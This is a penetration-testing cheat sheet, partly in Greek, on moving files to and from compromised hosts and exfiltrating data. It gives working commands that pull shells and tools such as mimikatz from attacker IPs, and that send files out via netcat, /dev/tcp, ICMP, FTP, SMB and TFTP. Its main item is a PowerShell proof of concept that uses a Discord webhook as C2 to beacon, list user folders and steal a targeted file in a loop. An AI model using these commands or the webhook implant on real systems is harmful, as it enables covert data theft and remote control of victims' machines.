Exfiltration

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Commonly whitelisted domains to exfiltrate information

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Copy&Paste Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Μεταφόρτωση αρχείων

• SimpleHttpServerWithFileUploads
• SimpleHttpServer printing GET and POSTs (also headers)
• Μονάδα Python uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Server

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration

Τα Webhooks είναι write-only HTTPS endpoints που δέχονται JSON και προαιρετικά file parts. Συχνά επιτρέπονται προς αξιόπιστα SaaS domains και δεν απαιτούν OAuth/API keys, καθιστώντας τα χρήσιμα για low-friction beaconing και exfiltration.

Key ideas:

• Endpoint: Discord uses https://discord.com/api/webhooks//
• POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
• Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery.

PowerShell PoC (Discord):

# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Σημειώσεις:

• Παρόμοια μοτίβα ισχύουν για άλλες πλατφόρμες συνεργασίας (Slack/Teams) που χρησιμοποιούν incoming webhooks· προσαρμόστε το URL και το JSON schema ανάλογα.
• Για DFIR των artifacts της cache του Discord Desktop και ανάκτηση webhook/API, δείτε:

Discord Cache Forensics

FTP

FTP διακομιστής (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP server (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP διακομιστής (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows πελάτης

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali ως server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ή δημιούργησε ένα smb share χρησιμοποιώντας samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Ο επιτιθέμενος πρέπει να έχει SSHd ενεργό.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Εάν το θύμα έχει SSH, ο επιτιθέμενος μπορεί να mount έναν κατάλογο από το θύμα στον επιτιθέμενο.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Κατέβασμα αρχείου από victim

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Μεταφόρτωση αρχείου στο θύμα

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

ευχαριστίες σε @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Εάν μπορείτε να στείλετε δεδομένα σε έναν SMTP server, μπορείτε να δημιουργήσετε έναν SMTP για να λαμβάνετε τα δεδομένα με python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Ενεργό από προεπιλογή στα XP και 2003 (σε άλλα πρέπει να προστεθεί ρητά κατά την εγκατάσταση)

Στο Kali, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

TFTP server σε python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Στο victim, συνδεθείτε στον Kali server:

tftp -i <KALI-IP> get nc.exe

PHP

Κατέβασε ένα αρχείο με PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Θύμα

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Το πρόγραμμα debug.exe όχι μόνο επιτρέπει την επιθεώρηση των binaries αλλά έχει επίσης την ικανότητα να τα ανακατασκευάζει από hex. Αυτό σημαίνει ότι παρέχοντας ένα hex ενός binary, debug.exe μπορεί να δημιουργήσει το binary file. Ωστόσο, είναι σημαντικό να σημειωθεί ότι debug.exe έχει περιορισμό στο να συναρμολογεί αρχεία μέχρι 64 kb σε μέγεθος.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Στη συνέχεια κάντε αντιγραφή-επικόλληση του κειμένου στο windows-shell και θα δημιουργηθεί ένα αρχείο με το όνομα nc.exe.

• https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html

DNS

• https://github.com/Stratiz/DNS-Exfil

Αναφορές

• Discord as a C2 and the cached evidence left behind
• Discord Webhooks – Execute Webhook
• Discord Forensic Suite (cache parser)